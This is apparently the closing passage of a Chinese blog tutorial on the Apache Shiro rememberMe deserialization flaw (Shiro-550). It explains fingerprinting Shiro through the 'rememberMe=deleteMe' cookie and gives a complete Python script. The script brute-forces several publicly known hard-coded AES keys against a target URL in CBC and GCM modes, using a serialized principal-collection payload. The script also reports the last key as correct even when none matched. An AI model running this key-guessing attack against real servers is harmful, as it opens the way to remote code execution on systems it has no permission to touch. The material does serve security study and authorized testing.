在利用 shiro 漏洞时需要判断应用是否用到了 shiro。在请求包的 Cookie 中为 rememberMe 字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,说明目标有使用 Shiro 框架,可以进一步测试。

AES密钥判断

Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设 置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥,之前检测我们公司的时候就发现了这个问题。给了我们可以收集密钥的集合,或者对密钥进行爆破的机会

那么如何判断密钥是否正确呢?文章 一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标 Response 包含 Set-Cookie:rememberMe=deleteMe 字段,而当密钥正确且没有类型转换异常时,返回包不存在 Set-Cookie:rememberMe=deleteMe 字段。

因此我们需要构造 payload 排除类型转换错误,进而准确判断密钥。

shiro 在 1.4.2 版本之前, AES 的模式为 CBC, IV 是随机生成的,并且 IV 并没有真正使用起来,所以整个 AES 加解密过程的 key 就很重要了,正是因为 AES 使用 Key 泄漏导致反序列化的 cookie 可控,从而引发反序列化漏洞。在 1.4.2 版本后,shiro 已经更换加密模式 AES-CBC 为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import base64
import uuid
import requests
from Crypto.Cipher import AES

def encrypt_AES_GCM(msg, secretKey):
aesCipher = AES.new(secretKey, AES.MODE_GCM)
ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
return (ciphertext, aesCipher.nonce, authTag)

def encode_rememberme(target):
keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] # 此处简单列举几个密钥
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes

file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
for key in keys:
try:
# CBC加密
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY :" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
# GCM加密
encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)

if res.headers.get("Set-Cookie") == None:
print("正确KEY:" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
print("正确key:" + key)
return key
except Exception as e:
print(e)

0x06 参考链接

https://www.geekby.site/2021/10/shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E

https://yinwc.github.io/2020/02/08/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E

https://www.cnblogs.com/1vxyz/p/17572415.html

https://drun1baby.top/2022/07/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8701-Shiro550%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90

https://paper.seebug.org/shiro-rememberme-1-2-4/

https://www.cnblogs.com/CVE-Lemon/p/17935937.html

https://github.com/wh1t3p1g/ysoserial


Java反序列化Shiro篇01-Shiro550流程分析
http://example.com/2025/08/24/Java反序列化Shiro篇01-Shiro550流程分析/
作者
Winter
发布于
2025年8月24日
许可协议